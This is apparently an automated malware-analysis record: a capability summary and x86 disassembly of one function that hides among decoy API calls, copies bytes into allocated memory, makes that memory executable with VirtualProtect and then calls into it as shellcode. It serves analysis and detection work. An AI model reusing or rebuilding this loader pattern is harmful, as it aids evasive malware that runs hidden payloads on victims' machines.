Function at 0x4015cc
Capabilities:
Allocate or change rwx memory
Create directory
Execute shellcode via indirect call
Get disk size
Identify system language via api
Set file attributes

Disassembly:
sub esp, 0x50c
push ebx
push ebp
push esi
xor ebp, ebp
push edi
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
mov esi, ebp
push ebp
call edi
cmp esi, 0x207138
jg 0x4015f4
inc esi
cmp esi, 0x4f672
jl 0x4015e0
mov ecx, dword [0x66d644]
cmp ecx, 0x93
je 0x4017e9
mov eax, dword [0x41a678]
add ecx, 0x1134b
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.kernel32.dll
mov dword [0x66d648], eax
mov dword [0x66d644], ecx
call ebx
push dword [0x66d644]
mov dword [0x66d634], eax
push ebp
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
lea ecx, [esp + 0x18]
mov dword [0x66d0cc], eax
push ecx
push 0x40
push dword [0x66d644]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov esi, 0x14b002e
call dword [sym.imp.KERNEL32.dll_GetLastError]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
dec esi
jne 0x401659
mov ecx, dword [0x66d644]
mov esi, ebp
test ecx, ecx
je 0x401709
mov eax, dword [0x66d648]
mov cl, byte [eax + esi + 0x1134b]
mov eax, dword [0x66d0cc]
mov byte [eax + esi], cl
mov ecx, dword [0x66d644]
cmp ecx, 0x490
jne 0x401700
push ebp
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_GetDefaultCommConfigA]
push str.binavonowuguzurotemizatijerer_pocoxufucehagaheguv_duwejalabikabinov_dawajewehozajemedacelof_xeririmigecaperemoju
lea eax, [esp + 0x11c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push ebp
push ebp
lea eax, [esp + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
push ebp
push ebp
push ebp
call dword [sym.imp.GDI32.dll_GdiComment]
push ebp
call dword [sym.imp.GDI32.dll_DeleteMetaFile]
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push ebp
push str.faricasireleviwiledonil
call dword [sym.imp.KERNEL32.dll_IsBadStringPtrA]
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLangID]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
push str.kokogenaguwipabevupic
call ebx
mov ecx, dword [0x66d644]
inc esi
cmp esi, ecx
jb 0x401678
mov esi, ebp
lea eax, [ecx + esi]
cmp eax, 0x8d
jne 0x401738
push ebp
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
push ebp
push ebp
push str.poredameveyi
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
push ebp
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
mov ecx, dword [0x66d644]
inc esi
cmp esi, 0x38681
jl 0x40170b
push ecx
call fcn.0040155f
mov esi, ebp
push ebp
call edi
cmp esi, 0x62
jne 0x401756
call fcn.004015b0
inc esi
cmp esi, 0x674db
jl 0x401749
push 0x7b
pop esi
cmp dword [0x66d644], 0x86
jne 0x4017c8
xor eax, eax
lea edi, [esp + 0x3e]
mov word [esp + 0x3c], ax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
xor eax, eax
mov word [esp + 0x2c], ax
lea edi, [esp + 0x2e]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [esp + 0x2c]
push eax
lea eax, [esp + 0x40]
push eax
lea eax, [esp + 0x70]
push eax
call dword [sym.imp.KERNEL32.dll_TzSpecificLocalTimeToSystemTime]
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [esp + 0x4c]
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_BuildCommDCBA]
push ebp
call dword [sym.imp.ADVAPI32.dll_CloseEventLog]
push ebp
push ebp
push ebp
push ebp
call dword [sym.imp.WINHTTP.dll_WinHttpWriteData]
dec esi
jne 0x401762
push str.msimg32.dll
call ebx
mov eax, dword [0x66d0cc]
mov dword [0x66d638], eax
call eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x50c
ret
push ebp
push ebp
call dword [sym.imp.USER32.dll_LoadMenuW]
push ebp
call dword [sym.imp.USER32.dll_CloseWindow]
push ebp
push ebp
push ebp
push ebp
call dword [sym.imp.USER32.dll_DrawCaption]
push ebp
push ebp
push ebp
lea eax, [esp + 0x34]
push eax
push ebp
call dword [sym.imp.USER32.dll_GetUserObjectSecurity]
xor eax, eax
lock bts dword [eax], 0
push ebp
push ebp
push ebp
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_FoldStringA]
push ebp
call dword [sym.imp.WINHTTP.dll_WinHttpSetDefaultProxyConfiguration]
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x28]
push eax
lea eax, [esp + 0x24]
push eax
lea eax, [esp + 0x20]
push eax
push str.guvadozevikilevijidapuyigosemokarodunegi
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceA]
push ebp
push ebp
push ebp
push dword [esp + 0x20]
push ebp
call dword [sym.imp.KERNEL32.dll_QueryInformationJobObject]
push ebp
call fcn.00403967
pop ecx
push ebp
call fcn.0040420d
pop ecx
push ebp
call fcn.00403967
pop ecx
call fcn.00403fad
int3